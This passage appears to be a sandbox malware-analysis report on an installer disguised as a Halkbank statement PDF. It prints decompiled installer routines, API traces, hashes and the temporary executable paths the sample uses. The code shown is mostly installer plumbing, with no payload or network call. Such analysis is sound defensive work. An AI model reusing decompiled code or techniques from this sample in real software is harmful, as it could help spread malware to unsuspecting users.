Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
Opcode Fuzzy Hash: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42a270;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x429260, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42a268;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066A5 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004066A5(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x42923c - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x42a298 + _t44 * 2;
				_t45 = 0x428200;
				_t108 = 0x428200;
				if(_a4 >= 0x428200 && _a4 - 0x428200 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E00406668(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E004066A5(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x428200;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x42b000;
								E00406668(_t108, (_t78 << 0xb) + 0x42b000);
							} else {
								E004065AF(_t108,  *0x42a268);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004068EF(_t108);
							}
							goto L38;
						}
						if( *0x42a2e4 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x42a264;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x42a268,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x42a268,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E00406536( *0x42a298, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a298 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E004066A5(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x004066a5
0x004066a5
0x004066a5
0x004066ab
0x004066b0
0x004066c1
0x004066c1
0x004066c9
0x004066ca
0x004066cb
0x004066cc
0x004066cf
0x004066d7
0x004066d9
0x004066ea
0x004066ed
0x004066ed
0x004066f1
0x004066f7
0x004066fa
0x004068d5
0x004068d5
0x004068e0
0x004068ec
0x004068ec
0x00000000
0x00406700
0x00406705
0x0040671a
0x0040671b
0x00406721
0x004068b3
0x004068c1
0x004068c4
0x004068c4
0x004068b5
0x004068b8
0x004068bb
0x004068bd
0x004068bd
0x004068c6
0x004068c6
0x004068cc
0x004068cf
0x00406702
0x00000000
0x00406702
0x00000000
0x004068cf
0x00406727
0x0040672a
0x00406739
0x00406740
0x0040674c
0x0040674f
0x00406752
0x00406753
0x00406758
0x0040675e
0x00406761
0x00406764
0x00406857
0x0040685c
0x0040688f
0x00406894
0x00406899
0x0040689e
0x0040689e
0x004068a3
0x004068a9
0x004068ac
0x00000000
0x004068ac
0x0040685e
0x00406861
0x00406864
0x00406879
0x00406880
0x00406866
0x0040686d
0x0040686d
0x00406888
0x0040688b
0x0040684f
0x00406850
0x00406850
0x00000000
0x0040688b
0x00406771
0x00406775
0x00406775
0x00406776
0x00406778
0x004067b5
0x004067b8
0x004067c8
0x004067cb
0x004067d3
0x004067d9
0x004067d9
0x00406834
0x00406834
0x00406836
0x00000000
0x00000000
0x004067dd
0x004067e2
0x004067e3
0x004067e5
0x004067fc
0x0040680a
0x00406810
0x00406812
0x00406830
0x00406830
0x00406830
0x00000000
0x00406830
0x00406818
0x00406821
0x00406824
0x0040682a
0x0040682e
0x00000000
0x00000000
0x00000000
0x0040682e
0x004067f6
0x004067f8
0x004067fa
0x00000000
0x00000000
0x00000000
0x004067fa
0x00000000
0x00406834
0x004067c0
0x00000000
0x0040677a
0x00406798
0x004067a1
0x0040683e
0x00406842
0x0040684a
0x0040684a
0x00000000
0x00406842
0x004067ab
0x00406838
0x0040683c
0x00000000
0x00000000
0x00000000
0x0040683c
0x00406778
0x00000000
0x00406705

APIs

GetSystemDirectoryW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000400), ref: 004067C0
GetWindowsDirectoryW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000400,00000000,00422728,?,00405701,00422728,00000000,00000000,00000000,00000000), ref: 004067D3
lstrcatW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf, xrefs: 004066CF, 00406782, 00406789, 0040678D, 004067AA, 004067BF, 004067D2, 004067E7, 00406814, 00406849, 0040684F, 0040686C, 0040687F, 0040689D, 004068A3, 004068AC, 004068E2
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406844
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040678E

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-152412294
Opcode ID: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
Opcode Fuzzy Hash: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004056CA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056CA(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x429244;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x42a314;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E004066A5(_t38, 0, 0x422728, 0x422728, _a4);
					}
					_t27 = lstrlenW(0x422728);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x429228, 0x422728);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x422728;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x422728[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x422728, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004056d0
0x004056da
0x004056df
0x004056e5
0x004056f0
0x004056f3
0x004056f6
0x004056fc
0x004056fc
0x00405702
0x0040570a
0x0040570d
0x0040572a
0x0040572e
0x00405737
0x00405737
0x00405741
0x0040574a
0x00405756
0x0040575d
0x00405761
0x00405764
0x00405777
0x00405785
0x00405785
0x00405789
0x0040578b
0x0040578e
0x00000000
0x0040578e
0x0040570f
0x00405717
0x0040571f
0x00405725
0x00000000
0x00405725
0x0040571f
0x0040570d
0x0040579a

APIs

lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
SetWindowTextW.USER32(00422728,00422728), ref: 00405737
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 004066A5: lstrcatW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

('B, xrefs: 004056EB

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: ('B
API String ID: 1495540970-2332581011
Opcode ID: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
Opcode Fuzzy Hash: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040462B Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040462B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x0040463d
0x004046f3
0x00000000
0x004046f3
0x0040464e
0x00404652
0x00000000
0x0040466c
0x0040466c
0x00404675
0x00000000
0x00000000
0x00404677
0x00404683
0x00404686
0x00404686
0x0040468c
0x00404692
0x00404692
0x0040469e
0x004046a4
0x004046ab
0x004046ae
0x004046b1
0x004046b3
0x004046b3
0x004046bb
0x004046c1
0x004046c1
0x004046cb
0x004046d0
0x004046d3
0x004046d8
0x004046db
0x004046db
0x004046eb
0x004046eb
0x00000000
0x004046ee

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404648
GetSysColor.USER32(00000000), ref: 00404686
SetTextColor.GDI32(?,00000000), ref: 00404692
SetBkMode.GDI32(?,?), ref: 0040469E
GetSysColor.USER32(?), ref: 004046B1
SetBkColor.GDI32(?,?), ref: 004046C1
DeleteObject.GDI32(?), ref: 004046DB
CreateBrushIndirect.GDI32(?), ref: 004046E5

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x42a2e8 =  *0x42a2e8 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E004065C8(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00406239( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004061DB( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004065AF( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
